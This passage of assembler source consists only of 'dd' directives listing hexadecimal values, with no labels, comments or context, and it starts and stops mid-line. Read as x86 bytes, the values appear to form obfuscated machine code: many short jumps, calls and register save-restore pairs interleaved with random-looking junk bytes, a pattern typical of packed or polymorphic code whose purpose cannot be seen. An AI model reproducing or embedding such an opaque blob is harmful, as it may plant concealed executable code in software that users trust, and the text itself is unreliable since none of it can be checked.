440961FAh, 0B9DED757h, 0CDD37257h, 8E95Fh, 47BB0000h dd 113B49Ah, 8D0F47CBh, 5, 0D0D88166h, 6E971h, 5DD00000h dd 0E23E1036h, 0E8C38B66h, 0Ah, 48C53246h, 7202708Dh, 0CA8BF4D0h dd 0EE85Ah, 8AB80000h, 9A7E50C5h, 0F9E6B835h, 95FF120h dd 0AB93BB66h, 48A0F5Eh, 66000000h, 52E4FBBEh, 1FEE8166h dd 6B35B23h, 8AF28B66h, 0CF8160C3h, 65FA8B80h, 5A616056h dd 6E861h, 6FB50000h, 0C8C389F4h, 0B242EE81h, 0E9583EAAh dd 0Ch, 0AA48EC4Bh, 933E2379h, 6E764B01h, 4CF08166h, 0D494BB56h dd 51605D88h, 61CFC281h, 0E9582BCDh, 12h, 0C150CE17h, 22F8C0DCh dd 0DA3EB89Dh, 0CB6F128Ch, 0BB610545h, 60EC2785h, 11E9E18Ah dd 0B5000000h, 1D01ED9Ch, 0C239B284h, 95075B56h, 5AEC6B8h dd 0F281D58Ah, 0FAED23Eh, 12860Fh, 9E80000h, 0C4000000h dd 0CF1BCDD2h, 0C1E1A0E7h, 5BBDE080h, 0D38B6660h, 7212BA61h dd 81660517h, 0FD37DEEh, 0FE9F8B7h, 33000000h, 5E71F3DBh dd 85AF645Dh, 1CBB6A9Ah, 0C6810DC8h, 3EB51EADh, 10E8h dd 2012AF00h, 0F4904350h, 46B6DA88h, 0A8CA1C5Dh, 11E80Fh dd 64BF0000h, 0BB6C3601h, 97AA260Eh, 9864F812h, 50EA6513h dd 0E95A5E5Ah, 7, 963B13E6h, 57CFD449h, 5022BF66h, 92D0BB59h dd 8A60446Fh, 0E7BF66DDh, 0E9606187h, 9, 9E241E3Fh, 35C364B1h dd 0BF0F6177h, 327BBC1h, 0C28B0674h, 0D8BF01B0h, 0B430A1A2h dd 0CA8166FAh, 840FC38Bh, 16h, 11E9h, 74CA2000h, 0BB048E2Bh dd 0A91A63A6h, 0ECA9BB6Dh, 50B6DEA6h, 0C8C38060h, 40EE8166h dd 23B9612Fh, 5247FE5Ah, 2890Fh, 61600000h, 81F8F95Fh dd 0F693D3D7h, 63B96668h, 8CDE8110h, 665F1C1Ch, 0CA73F181h dd 5890F56h, 0B9000000h, 13A29677h, 0DE9F55Fh, 15000000h dd 0DEB19822h, 36200853h, 6807787Dh, 0CE8h, 38C84100h dd 0BAB8151h, 0D45839Bh, 0D5ABBBFAh, 0E95B18AAh, 0Eh, 0AEEE08E1h dd 0C1802C9Dh, 4790AC6Ch, 0F98B2A99h, 0CE9h, 36E0CE00h dd 0BE655F3Dh, 0B54AD9CCh, 0E9FE8ABAh, 8, 353B0884h, 9E835E7Fh dd 8311EBBAh, 0C780F537h, 0FABF0FADh, 0FCB8B66h, 0B70FC6BFh dd 0DF80F5F1h, 0CFBF0F60h, 0BE9h, 0CB1D1E00h, 1434CE13h dd 0ED52F287h, 2890FF5h, 8B000000h, 66FCFCD6h, 56F9E081h dd 0AE9h, 0E99F6200h, 0EBA7DF11h, 662F796Eh, 75B1DA8Bh dd 128E0Fh, 0DE90000h, 0D8000000h, 6FC2E8FFh, 54CF723Bh dd 47C4576Bh, 0E73FBF66h, 7820Fh, 850F0000h, 1, 5E9FCh dd 0BC6D0000h, 0E985E439h, 8, 0D858443Ch, 906470BFh, 455CE181h dd 8E95D3Ch, 0BE000000h, 8F0B6FD2h, 6638673Eh, 6671CABEh dd 8389E181h, 0D0BF0FFCh, 0FCB8B66h, 1886h, 13E900h, 0BB1D0000h dd 0D0EE3279h, 0A621C810h, 0B095CFB9h, 8EA53405h, 0DE85Eh dd 93CE0000h, 0DE717391h, 4EC9A193h, 66B30263h, 5AA811B8h dd 0A3D681F5h, 0E9207652h, 0Bh, 9311D537h, 1C2EACE2h, 0F23B5CDh dd 9E9D1BFh, 42000000h, 48352AF5h, 3FE9C51Dh, 5FC38B52h dd 88C0FF8h, 50000000h, 2441E081h, 50595D59h, 5B08D181h dd 605B65AEh, 49C18166h, 0BE6661D4h, 11E8F790h, 5B000000h dd 0DBFE9545h, 50D922DCh, 131C54A2h, 0C1905609h, 5F01F580h dd 40EB8060h, 4EF78060h, 61616160h, 10E957h, 71C00000h dd 716B6E0Dh, 0AA581646h, 62AC76E9h, 0F5AE170h, 0C8Bh dd 6810F00h, 0F000000h, 80h, 0D1B70F00h, 58A0Fh, 81660000h dd 0E93824D2h, 0Eh, 0C6C6A056h, 76CEE51Ch, 0DBE2F02Bh dd 8166AA60h, 5631B0F0h, 0BE9h, 77C68300h, 914166Ah, 15F632D1h dd 5880F5Bh, 0BE000000h, 62C1063Dh, 0FDBBF0Fh, 58Ch, 0D7816600h dd 8166AF5Eh, 66D59DDFh, 0E04DE981h, 46E556B8h, 0C9816642h dd 0B70F0517h, 0C28B66D8h, 61CAB260h, 890Fh, 0B8660000h dd 890F3CB1h, 5, 26C88166h, 8BDE8B34h, 0EE9F8h, 0F8600000h dd 63621142h, 66E304F6h, 201A48BCh, 8E8h, 9FF66C00h, 7F04421Dh dd 0C810F57h, 0E9000000h, 7, 9C7E224h, 59D80CB2h, 66AED180h dd 53E3BFBAh, 7FD28166h, 8B0F5868h, 2, 0BF66E0B3h, 0BE66A80Ch dd 0E2B628ADh, 3142B966h, 14850Fh, 8E80000h, 33000000h dd 6893D772h, 814C6147h, 9FC6BFF1h, 0BF0F595Ch, 9CBB66D1h dd 0AE916h, 0ABF30000h, 8E9666EDh, 0CBF3D589h, 96CEBF66h dd 0E964B966h, 0BE952h, 745F0000h, 22EA62EEh, 82DA6C67h dd 81665E92h, 0E9213BD0h, 11h, 22071234h, 0B773AF22h, 9EA93D9h dd 0EE56AFDFh, 0AE8ECh, 45020000h, 300D4BD6h, 25072BFBh dd 128A0F5Ah, 0F000000h, 0C82h, 7E900h, 0F7ED0000h, 48625408h dd 0E68166F0h, 8D0F2F2Dh, 7, 0E7816653h, 805F7F90h, 9FBABFE3h dd 80542F89h, 7E913DCh, 4C000000h, 735510F3h, 0F3818075h dd 4D053237h, 8BF98B66h, 2830FFAh, 0B2000000h, 0EE98128h dd 812EE54Eh, 0C51CEAF0h, 1F8F0F46h, 0E8000000h, 6, 0DFB7C948h dd 0EE9954Dh, 0A4000000h, 0EB0C53C2h, 51E7B61Dh, 0C14FC3B6h dd 0D08B5821h, 11E8h, 0E1A75500h, 4FB7B97Eh, 4B546F15h dd 798BFA5Bh, 8166CAE2h, 5F0BB8F0h, 31AB74BEh, 11E93Ah dd 93230000h, 28002694h, 0BA99B7B3h, 0E215F8D9h, 0BE7D75CEh dd 5398E48Fh, 2890Fh, 0DE8B0000h, 0EB68B966h, 12E8h, 0AC97F400h dd 2ED02C8Dh, 0E854DE78h, 1A3404C1h, 52F98AF4h, 59582CB0h dd 68F0Fh, 0C3810000h, 1AE609BCh, 12E8h, 0E0845B00h, 78EB894Ch dd 4D4D8775h, 7F6C7A8Bh, 519B350Fh, 14E9h, 0D51D5800h dd 0C12CECAFh, 49381060h, 963092F6h, 0EEFFAEE0h, 665F5BFBh dd 8BFCC28Bh, 0F38160DAh, 59580084h, 12E9h, 6315DB00h dd 0B35CCCD3h, 0BD9D59CBh, 0B5C5F186h, 615B692Bh, 3880Fh dd 0F5560000h, 68C9815Bh, 0BA0A59CDh, 54FD2C86h, 0FEB70FF8h dd 394FBA66h, 66F1BF0Fh, 0BB31FBBBh, 2A44336Bh, 0E9D7BF0Fh dd 13h, 0E3E9313Ch, 0B81A7075h, 0C97BD445h, 353A2B10h dd 0FB08358h, 587h, 0C9816600h, 850F45AFh, 1, 7E851FCh dd 0A8000000h, 5D2AED27h, 0B866CAD8h, 5A5BDCAFh, 75B0DE8Bh dd 8BF6BF0Fh, 8B0FFCCEh, 1, 0FBB70FFCh, 6E9h, 0A7EB4E00h dd 604C23A7h, 66DAB70Fh, 613632BBh, 0FF08B66h, 238Dh, 0BE800h dd 82A0000h, 0C6DE9A91h, 0B5B248E4h, 0DE9B2h, 0C6DB0000h dd 0C63F9C1Fh, 4122B40Bh, 5A03D4EDh, 12E9h, 0A592DD00h dd 49CFBD9Ch, 1554E23h, 6AA34FB5h, 8B50342Ah, 0A59AB8F8h dd 3DB61E45h, 0F10D180h, 0B966DAB7h, 0CE92EA1h, 0BD000000h dd 8443A4C8h, 72CCA88h, 563E922Ch, 1EEB8166h, 0EE815999h dd 11150808h, 88C0Fh, 830F0000h, 2, 0BE8FB8Bh, 41000000h dd 0D2410169h, 0BE322908h, 5BF8A0E3h, 0EE816660h, 0DE979FFh dd 72000000h, 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h, 12E961h dd 6D290000h, 4AA5783Bh, 0A954989h, 0F2573961h, 0DB74BA82h dd 8E9h, 246C1900h dd 0B6D8E904h, 5E874h, 85220000h, 517F929Fh, 547319BAh dd 0B95B5A2Fh, 6EE71992h, 0BA66CE8Ah, 0F55698EAh, 0C6BF0F5Ah dd 6840Fh, 0C6810000h, 4DAD6EEAh, 8E9h, 84D49000h, 97C5AB4Bh dd 6810F97h, 81000000h, 465B51DEh, 0C3BF0F56h, 0AED5B866h dd 12810F60h, 0E9000000h, 0Dh, 616303B8h, 0F414F310h, 0FFE985DCh dd 0D7C181B3h, 6109D37Dh, 60D6B70Fh, 60B7EF80h, 0FB8ACB81h dd 80B8650Ch, 615D55EBh, 9E961h, 1FA40000h, 0BAD566AAh dd 0BFBF4E6Dh, 78C7C424h, 5B6C281h, 0FF51F27h, 0C8Fh, 6850F00h dd 0F000000h, 82h, 51DAB500h, 0CE8F95Fh, 49000000h, 0CEFC93ABh dd 6ECD776Fh, 0FF2C82Bh, 0F5FF6BFh, 880FCEBFh, 0Ch, 7E9h dd 9C693200h, 52ADA741h, 7E9h, 19A5D100h, 9B5B8A8Eh, 25B1AAB9h dd 0CE804h, 0B9DE0000h, 0CDD37257h, 0BF63E172h, 0EF813855h dd 37373A0Ch, 12E95Eh, 0F8310000h, 0AFEA613Dh, 70A636EBh dd 42552965h, 0D98B9A8Ch, 7E9DD8Ah, 69000000h, 9C934B8Ch dd 0B70F2653h, 0C78166FFh, 0F18B2FAEh, 0DBDDBCBEh, 72BE6674h dd 7502B891h, 69B11A98h, 0DE8h, 0D7C0A100h, 53C03D11h dd 6EA6E8Ah, 0AEB8DBF2h, 5E7472A3h, 0FA2E280h, 0BB66FEBFh dd 8F0F7D3Bh, 0Fh, 0AE9h, 14C3F500h, 5AE5F044h, 0BAEF7132h dd 3A944F95h, 5EA2BA66h, 0FFE8B66h, 283h, 0FCB8A00h, 0C681DFB7h dd 0BE4B66Eh, 0D2121FBEh, 0C8BF0F25h, 0C1816652h, 0E95A7D19h dd 0Dh, 0DA5603BDh, 8FCFD3B4h, 72879432h, 810FF8A3h, 3 dd 0FF28B66h, 681h, 92E08100h, 8132F10Ch, 439D39C9h, 0C281FC1Ch dd 55625B96h, 0D7CF8166h, 0C850FB2h, 0F000000h, 68Dh, 890F00h dd 0E9000000h, 9, 0CE91548Dh, 8ED2976Ah, 1840F8Dh, 0FC000000h dd 8E960h, 546B0000h, 5E23D927h, 0CA81AADFh, 5EE36DE7h dd 96B96661h, 98C2BAC1h, 81661501h, 0E82929DFh, 8, 6CBE851Bh dd 0C337E483h, 0EE9h, 56860800h, 0B2B7A607h, 6984021Ah dd 598D5A8Eh, 0B9F1E0BEh, 0FB8B664Eh, 8A0FF78Bh, 6, 7A35E181h dd 0C68B7D01h, 0E9DF8B66h, 0Dh, 13BFB15Bh, 0B9A71D62h dd 2587E1Eh, 0F52F84Ah, 38Bh, 79F58000h, 17830F5Eh, 0E9000000h dd 12h, 5A5683D6h, 0A4DD8785h, 44FACA86h, 0E090CF8Eh, 0B70FDF98h dd 0DDD781F3h, 0E9316898h, 5, 0F8C7ABBDh, 0F68166C3h, 5051120Bh dd 5AF9B70Fh, 0C9C8815Fh, 0B951055Ah, 77674998h, 0CE8h dd 8A452E00h, 1331E6C0h, 0D62B1CCCh, 0FEB558A1h, 8EF38060h dd 0FE8h, 0EB700C00h, 26F16911h, 8FE2DC9Bh, 6C3446AFh dd 816159FCh, 133C48DEh, 14E86Ch, 6D300000h, 874EE59Ch dd 68C2EDCh, 3ED9E8BCh, 0A7F8EB09h, 0D68B75EAh, 0F38B665Bh dd 7E9F9h, 64E50000h, 9E4910B7h, 0D88B605Ch, 61F28B66h dd 650BE981h, 8B6667B5h, 63C580C1h, 2880Fh, 0D0B30000h dd 8BC7B70Fh, 8850FDFh, 0F000000h, 28Ah, 8BF08A00h, 0E9F2B1F0h dd 13h, 22C7859Ah, 0B38AD662h, 0C0A8E99h, 0F7DBE790h, 0E9AB99B6h dd 11h, 0B7924703h, 0F07AB77Eh, 8481C01Bh, 0CB17F026h dd 41DFBA0Dh, 8B661CF1h, 8E0F60C6h, 5, 0D3392AB9h, 4FD4805Fh dd 5BF85261h, 5890Fh, 0D9BB0000h, 663F572Dh, 0FFCDF8Bh dd 28Eh, 0BA3BB300h, 54446F4Dh, 198C0Fh, 0E9530000h, 12h dd 29D88298h, 0CFEECB62h, 0FA5806F0h, 0F42B6AEAh, 0F5B1C25h dd 0F50DEB7h, 484h, 0EFBB6600h, 0BA665EF7h, 0BF0FC0CAh dd 38E0BFCFh, 8B661B48h, 3AE381F8h, 814A2812h, 3CCBE6EBh dd 0F6816661h, 0EE81968Bh, 780D6840h, 0E842BF66h, 14E8h dd 0D9B97800h, 40C783FDh, 5B8E18ABh, 510FDB1Fh, 0CA04EF2Eh dd 6870F80h, 0F000000h, 81h, 0E9515E00h, 7, 0CEDB80C6h dd 5E43C9CCh, 2D18166h, 0E9A2B3D8h, 9, 22B2AFFBh, 0F96FB05Fh dd 0EEBE662Fh, 57FA8A87h, 8059F88Bh, 8166BFF4h, 0F70F5C0h dd 0F781F9BFh, 3A9B204Eh, 43D78166h, 14E91Fh, 0B0E20000h dd 96609708h, 6BFCDE10h, 4B2B1Fh, 6B51A2A7h, 81603AD2h dd 21A112F0h, 5E91Ch, 0B7D80000h, 61F4A124h, 13E8h, 2B4B0400h dd 6883D037h, 694B317h, 0B07C96F4h, 69740082h, 8A5F21B3h dd 59FC57F3h, 3870Fh, 0BF0F0000h, 15E980FBh, 0AE9h, 736BC000h dd 1ECA4233h, 0BB746C49h, 12B2787Ch, 5830Fh, 81660000h dd 0F2730D7h, 0BF0FC7B7h, 66BE66F8h, 0B70F60FDh, 13E9D0h dd 28290000h, 71F59312h, 76D58A28h, 0A70A2B80h, 0DF267DACh dd 10E961E2h, 0C9000000h, 0DB0A6730h, 895A02C8h, 9BD9EF39h dd 66790CA9h, 0B365D181h, 0BF0FE7B1h, 820FF5C1h, 9, 3830Fh dd 8B660000h, 4810FC3h, 66000000h, 0B9CE0BBEh, 53C3748Fh dd 0F60DE8Bh, 86h, 0CDE7BF00h, 60616FBBh, 13E833B6h, 0C7000000h dd 60DCE1D5h, 288822A5h, 9B71060Bh, 8548CD81h, 61606B8Dh dd 81666159h, 66533ECBh, 51CEE6BAh, 0BE9605Fh, 2D000000h dd 0DF13CA89h, 289A9349h, 3AB4C46Dh, 0FB8B6661h, 46DA8166h dd 35E780DDh, 4578F381h, 81662E6Ah, 6625E9CFh, 66CF12BEh dd 6637E0B8h, 933DF681h, 0C2D8DF81h, 12E924B3h, 4B000000h dd 55865982h, 0CB510289h, 82D3D977h, 5C2EEC91h, 0F6051D5h dd 82h, 9AD78100h, 61547884h, 0BF60FC5Bh, 65568777h, 0BE9h dd 0BDC4C500h, 3BF4F167h, 12236D81h, 13E9F561h, 7000000h dd 686C9D6Eh, 0B75CB0D6h, 872D2C98h, 529ADDF5h, 0D78B1E05h dd 0BE9h, 0C7080000h, 0A2DD8D0Fh, 669CD81Fh, 0B7E18166h dd 0EFBB664Dh, 0F7816675h, 0F580E5CBh, 2880FEEh, 8A000000h dd 1F8A0FC7h, 0E8000000h, 14h, 979CF791h, 31CB4BE4h, 0C7D9D3DEh dd 816E43C6h, 0C777992Ah, 3F2C52BBh, 0AE95836h, 8000000h dd 0D6A89B52h, 527BE7F0h, 8E9FCh, 32600000h, 0CE76EB6Fh dd 0F08A8A81h, 2810Fh, 0B8B50000h, 60F88BF9h, 68E0Fh, 830F0000h dd 0 dd 0B861F08Bh, 0FC908Fh, 13E9h, 0CE39F600h, 102D1742h dd 3C25D44Fh, 13340B46h, 9E411581h, 0BF0F00B0h, 0FD68BC0h dd 5160D7B7h, 59C0BF0Fh, 0DAB70F61h, 6660E18Ah, 8B3D4DBBh dd 860F61C3h, 2, 0EBB0D18Bh, 0FB3F51BAh, 6661604Bh, 0BAC1B8B9h dd 136D49A1h, 0FD9B70Fh, 187h, 890FFC00h, 0Dh, 8E9h, 992CA400h dd 91106F11h, 0E9F5F932h, 12h, 13607AC7h, 94C0E80Dh, 35F6125Dh dd 0D8D54C4Ch, 8166B9D2h, 0E93EC9DEh, 11h, 30CA1439h, 0DBE17A7Eh dd 0E21A1279h, 0C0955FADh, 0E2BB663Bh, 9E9FCh, 0C5AF0000h dd 0D0754363h, 8132BD71h, 95DAF6E8h, 6E86040h, 21000000h dd 22632EDDh, 5EC28A26h, 0B5E08166h, 0FABB6161h, 601ACE64h dd 66D08B66h, 0E861F38Bh, 6, 1B01C310h, 10E91403h, 51000000h dd 0A1E5D192h, 1D52426Bh, 0BC7C4D7h, 58E107A7h, 9E820B1h dd 7B000000h, 55183889h, 5BE0C92Bh, 0FE9h, 33E8C600h, 40411F21h dd 34133965h, 0E063341Bh, 0E681665Ah, 0F38155CFh, 7DC66743h dd 12E8h, 45245B00h, 3A960A98h, 0EAEDE7F2h, 3BB5D503h dd 57B4CA60h, 0F605B5Ah, 387h, 0C9BF0F00h, 0F0C88166h dd 0D78B611Dh, 0E8FFBF0Fh, 10h, 0F1F41753h, 30A457CBh dd 92D50E48h, 8ADEF66Dh, 0E1BA665Fh, 0E8D3B793h, 12h, 0D201E894h dd 6AEB93C8h, 0A04C69C2h, 30C3F1DCh, 0B70FD291h, 810F5ECFh dd 5, 0F8B70F51h, 72BB665Ah, 1F33BA6Ch, 800F5BA5h, 12h dd 7E8h, 0C368EF00h, 3602CC19h, 54C38166h, 81F55853h, 4A4450C0h dd 5CC6805Ah, 28B0Fh, 0F28B0000h, 10E8F5h, 14BD0000h, 62340C6Eh dd 6027C68h, 4118C4DAh, 0CE9490Bh, 29000000h, 0E4F96257h dd 0E735845h, 590B318Eh, 0EE0F86B9h, 0D2816660h, 0BE9EC09h dd 0C5000000h, 5B4B4h, 0F3BEC291h, 13E89A6Ah, 0B2000000h dd 66DA2ABh, 0C3F032F3h, 0F255D9A1h, 7777C908h, 880F37E5h dd 3, 59C28B66h, 14880Fh, 0DE80000h, 9C000000h, 20C96B46h dd 471F7761h, 76C0FA0Eh, 0BB665EFCh, 66527DF9h, 505BF88Bh dd 0D3816660h, 57BA150Ch, 612E0631h, 13E95Eh, 354B0000h dd 70E0B88Fh, 707DFE5Fh, 347CFA92h, 91E77692h, 0BE9DFh dd 364D0000h, 25C1EB80h, 2B235447h, 4CB960AFh, 616DA7F1h dd 0A394CBEh, 0E960F828h, 9, 70D08E3Fh, 8E1A76EFh, 860F5345h dd 0 dd 0F60615Ah, 48Dh, 6FB86600h, 0F08B66A4h, 8E861h, 27D90000h dd 7873C204h, 8A0FEDADh, 1, 8F0F5FF5h, 0Fh, 0AE9h, 80EEE200h dd 4ADE3673h, 0BF9A1F94h, 29EDAE4Ah, 13E8h, 8E9BE800h dd 84FE5434h, 0E4793565h, 0CF310AC5h, 0F78A321Dh, 746C25B9h dd 0B866581Ah, 3ABB17FAh, 6621CE16h, 521422BBh, 2800Fh dd 5E520000h, 5810F58h, 53000000h, 5BD0BF0Fh, 10E9h, 6B377C00h dd 2A381B88h, 0DCF5A4FAh, 0F709B234h, 6810F04h, 81000000h dd 4ABD81E0h, 8E91Dh, 0E98D0000h, 0F4352E37h, 0F85760DFh dd 81666058h, 66C39ED1h, 9914E781h, 9E95361h, 45000000h dd 0DA5571F8h, 57DB0771h, 9E85258h, 80000000h, 0C88E6D9h dd 2D39E78Eh, 7E9h, 3AB33D00h, 0A66ECE6Dh, 13E95F58h, 69000000h dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0ED80A9C5h dd 8E85294h, 23000000h, 0C277AEA8h, 0FCB0834h, 85h, 0E9595B00h dd 6, 73AE0CA8h, 0E8FC3884h, 5, 8F5D0B95h, 8B665150h, 0E9595AF8h dd 7, 5F9074F9h, 8AD2635Eh, 0C8D681D3h, 0E8563EF2h, 9 dd 0A633F7CEh, 416DBFEBh, 0CE986h, 0EFFA0000h, 0C7A2BD0h dd 25D784E0h, 0FC59919Dh, 66C0BF0Fh, 0F21E5BBh, 68Bh, 8C0F00h dd 81000000h, 26F3E8CFh, 0B70F6042h, 0D28166D7h, 0E961EAE7h dd 14h, 91BF3F0Bh, 0CFDF6987h, 40912E5Bh, 553A4B95h, 0F1CA37D5h dd 0FC9F5FBAh, 0FF78A3Ah, 382h, 0F9BF0F00h, 5BC38B56h dd 66BEB5F5h, 0F97C36BFh, 0FD1B70Fh, 58Dh, 0C2816600h dd 0C7814674h, 6F3FA72Fh, 0BE9h, 0C991A900h, 3BDB7BDEh dd 0FC4FC81Eh, 88F0Fh, 8E0F0000h, 2, 0BE665950h, 820FD46Fh dd 3, 0E8F2B70Fh, 5, 630227Dh, 0A7B86698h, 0F0815A42h dd 194E4561h, 8BD78B66h, 0B6CA80C7h, 0F6CD080h, 138Bh dd 0EE900h, 9D540000h, 0B33A114Ah, 0D2E5F8C9h, 45AFA4E4h dd 9E77F681h, 8B66711Dh, 0FCF860CBh, 0E850F61h, 60000000h dd 890Fh, 8E0F0000h, 0 dd 0B157B361h, 0BF666031h, 11E83A86h, 5B000000h, 47D953E5h dd 18269C98h, 0DEFC0303h, 0CDAA54B0h, 132CB966h, 0F560615Bh dd 61D78B66h, 2820Fh, 0D88B0000h, 0D313BA66h, 30D828BAh dd 12E926h, 0FCEB0000h, 2E8EB5E6h, 8D28BA4Eh, 4AD57650h dd 0FCA228D9h, 0BE8h, 0EEEB2700h, 9E073E2Fh, 4084BBB2h dd 28D0Fh, 5F500000h, 0E9F18B59h, 8, 980FAC19h, 2BDD4CD4h dd 0EE9h, 61AFC000h, 84FA0AA4h, 5927D4A1h, 0E8A3B6F1h dd 7, 538E009Ch, 8B5864B8h, 11E95ED9h, 99000000h, 35D23C31h dd 0D6C6B080h, 0C2F92816h, 0F8F4296h, 0EE9FCh, 4FCB0000h dd 0C265BBD9h, 241F9ECAh, 0A48A4109h, 8BCBBF0Fh, 4840FCBh dd 66000000h, 539445B9h, 10E95Bh, 260E0000h, 0F81297AAh dd 65139864h, 0BCF6CBEAh, 0E9F51EF8h, 9, 0C1B826BCh, 2808CBF4h dd 9CD9818Bh, 6671781Ch, 668940BEh, 531058BBh, 5F2ECE80h dd 0BF0FD78Bh, 50DE8AD2h, 5AD3B70Fh, 0BE9h, 7CCC7300h dd 76595286h, 446A5D5Ch, 4870Fh, 50570000h, 0EB8A5F5Fh dd 0FD9ED081h, 0F38B2553h, 61EF8166h, 0D68B6620h, 0FA8A5260h dd 0BA61F559h, 5A258D9Fh, 0F60CF8Bh, 385h, 0C28B6600h dd 61E1E380h, 840F60h, 61000000h, 66C6BF0Fh, 840FCE8Bh dd 6, 0B4A9D981h, 850F1201h, 3, 0BECE8B66h, 162AF98Eh dd 0A4BE80B6h, 80734743h, 0B70FEECEh, 8A0F53C3h, 3, 59ABDC80h dd 0ADC5D181h, 12E96E08h, 0EE000000h, 0B63847B9h, 717E6914h dd 96037DE3h, 1B621941h, 5BBE66AAh, 0FCF86096h, 6E961h dd 0E8560000h, 29C2AAE3h, 84CE8166h, 96BF63h, 0AE90BA7h dd 6000000h, 0B8035FEBh, 4DC579B4h, 0C9BF0F13h, 0C3816650h dd 0FC5E644Eh, 0CE956h, 14C70000h, 0DEC14248h, 271E80E3h dd 0F5FD633h, 0BF0FF2BFh, 50ADB0C7h, 8059F88Ah, 816070E1h dd 0A1EB01EFh, 0CDC88141h, 610F26E9h, 0BAEE8166h, 50F9F85Ah dd 5E616052h, 0F381665Fh, 14E99BA2h, 98000000h, 0AC0999B4h dd 739CB39Fh, 0F574BC12h, 0E78B982Ch, 0F5FBDACh, 820FD3B7h dd 0Ch, 6890Fh, 8F0F0000h, 0 dd 61E1B560h, 26CF8166h, 69BA66FEh, 0C2816665h, 8166B788h dd 668174F3h, 0CC7CDE81h, 0DCD91BBFh, 0CE97Ch, 0CB3F0000h dd 0F20339F5h, 970C1F36h, 0CB812A94h, 6A3D5244h, 0D860F52h dd 0E9000000h, 8, 603BB5D5h, 0C5C3B4CAh, 0C8F0F5Ah, 0F000000h dd 681h, 8C0F00h, 66000000h, 66176FBBh, 0B4BDDE81h, 8166F08Bh dd 0BE6AC5CFh, 3CB64E9h, 39EE8160h, 6150E880h, 0BA66CB8Bh dd 0B70F9133h, 0DF8166CFh, 13E83E6Fh, 0E3000000h, 0DBC0F5E0h dd 0C45E060Eh, 0EC6A35DCh, 0B395F859h, 0B70FFC12h, 816659FBh dd 66E179F3h, 880FF28Bh, 6, 183BC281h, 0F98B687Fh, 7EEE8166h dd 0D7BF0F72h, 81665657h, 5A391EE2h, 0B6D48A5Fh, 2159BF74h dd 0E95134B6h, 0Dh, 9940E536h, 0DDEA9F4Dh, 0D52A9569h dd 7E95E96h, 62000000h, 99B38AD6h, 0E2810A8Eh, 3624533Ch dd 66C88B66h, 3A60EB81h, 917FBAFCh, 0BF0F7D61h, 870FC0h dd 0F000000h, 5E9C8B7h, 58000000h, 0AE93DD04h, 7E9h, 0A2B22F00h dd 198926Eh, 0DE86060h, 83000000h, 24D08260h, 0FCD3D398h dd 5B49178Eh, 0E0BB6658h, 890F6196h, 2, 66616160h, 0A10AEA81h dd 52F8C38Bh, 5AB0DE80h, 0E95FB260h, 0Ah, 734AF6Dh, 0FFC6BBE4h dd 0F6191B6h, 38Dh, 0A8DA8000h, 0DDB8151h, 5F475D27h, 81F28BF9h dd 33172D3h, 0D6BF0F14h, 8B6609B6h, 0DF8166F9h, 0BF0FA26Ah dd 0DE9FAh, 0FB6B0000h, 74A41BC4h, 652D2A9Dh, 66BB0804h dd 0B0302DB8h, 6890FB8h, 0F000000h, 89h, 38F0F00h, 0F000000h dd 0BB66C6B7h, 0FE8B5CDh, 0A5000000h, 94C4D614h, 0F7836DE1h dd 0D50A814Eh, 58FC56F6h, 8B66F08Ah, 9E8F3h, 0E2DB0000h dd 716CF4E4h, 66E0B901h, 59BF28BEh, 8E0FFB8Bh, 3, 0F8FFBF0Fh dd 47C88166h, 46C981C3h, 0F7A5E3Bh, 8B66C0BFh, 0B860FFBh dd 0E9000000h, 6, 5372D7CBh, 8160743Ch, 58AC37D2h, 0E861F57Fh dd 7, 7BF05BDh, 8194F209h, 173074CBh, 8B665B43h, 8BB3BACBh dd 0EE810EFh, 2A000000h, 0D5CDBC01h, 8F679BDFh, 7A86D45Ah dd 0CDDA8159h, 5E7E5F4Fh, 0E9FBB70Fh, 9, 0F57F720Bh, 969871C5h dd 0E38157B8h, 4D5C25C3h, 0EABE6658h, 0DA80604Fh, 0F61FC29h dd 587h, 0D2816600h, 0E950C1ACh, 8, 17B68DDEh, 72018841h dd 13E95Fh, 2B60000h, 0CDB17908h, 0A413A9F8h, 10C7D3ECh dd 0D2A96979h, 5E8E0h, 13140000h, 0E8F06061h, 8, 705CDB7Eh dd 0A8BF401Bh, 58586160h, 0B2EF8166h, 0CFBF0FC1h, 0E8DF8B66h dd 10h, 0A27AF930h, 3FE1F626h, 5C6BCB35h, 0A15C3A20h, 0E9D08A5Fh dd 0Bh, 0F1DE1F38h, 4119EE0Dh, 8B9F31BAh, 0AE9CFh, 5DBA0000h dd 794C30E8h, 6EF24B6Dh, 81442EBAh, 7DB4FC48h, 260DD381h dd 830F504Ch, 1, 0C8B70FF8h, 0B1BFDD80h, 8BBBB3B5h, 816057C6h dd 94E11C3h, 61FA8B31h, 4BD28058h, 62C04BFh, 0D6F28162h dd 0F494C10h, 870FFABFh, 15h, 10E9h, 0B7297700h, 968BD9BFh dd 51FC2CD9h, 25624BFDh, 0B70F577Ah, 8E95FD6h, 0A000000h dd 1191C19Fh, 0BBB00397h, 6C3E167Ah, 0B9D28166h, 0F3BF0FA8h dd 12E9h, 43E6E200h, 0EDE664CEh, 10DA6AB3h, 1BA56B12h dd 602D0F67h, 0E9D0B70Fh, 13h, 3D51BCC5h, 0A7DE880h, 0A51D68D9h dd 0F8A1401Dh, 617C6F0Dh, 8D0FD08Bh, 3, 66F7BF0Fh, 8B66F28Bh dd 37BE66D1h, 68F0FDCh, 81000000h, 7B52C0CBh, 22BBF95Fh dd 0BE2E4244h, 40DEE37Ah, 0DE9h, 0AD656C00h, 71B3E298h dd 0F97A261Eh, 0BF66A90Ch, 5E9DE98h, 9C000000h, 12D7EB1Eh dd 0E565D281h, 0F571D8Eh, 18Bh, 0F58FC00h, 589h, 0D254BA00h dd 6E932E4h, 85000000h, 0F4BF3C4Ch, 5E9D9h, 17230000h dd 8AE16C84h, 66C38AD1h, 80F9B2BEh, 0B251EADAh, 8166590Ch dd 0E95E67D6h, 0Bh, 0E92DE624h, 7FBC4B97h, 661905DFh, 81B534B9h dd 1EBD96DBh, 4259BE76h, 0BE85767h, 2A000000h, 2E301A78h dd 838DAD98h, 0CF81DAD7h, 48E7941Dh, 0C88B665Bh, 0CE9h dd 38420900h, 4911CB6Bh, 0F841678Dh, 6CCA80ADh, 0FDEB70Fh dd 0CA8BCBBFh, 63FDF9BFh, 0CF8B663Fh, 0D48AE38Ah, 808CF080h dd 820FFBCAh, 1Bh, 14E951h, 62990000h, 0B390989Bh, 0E88FE5BFh dd 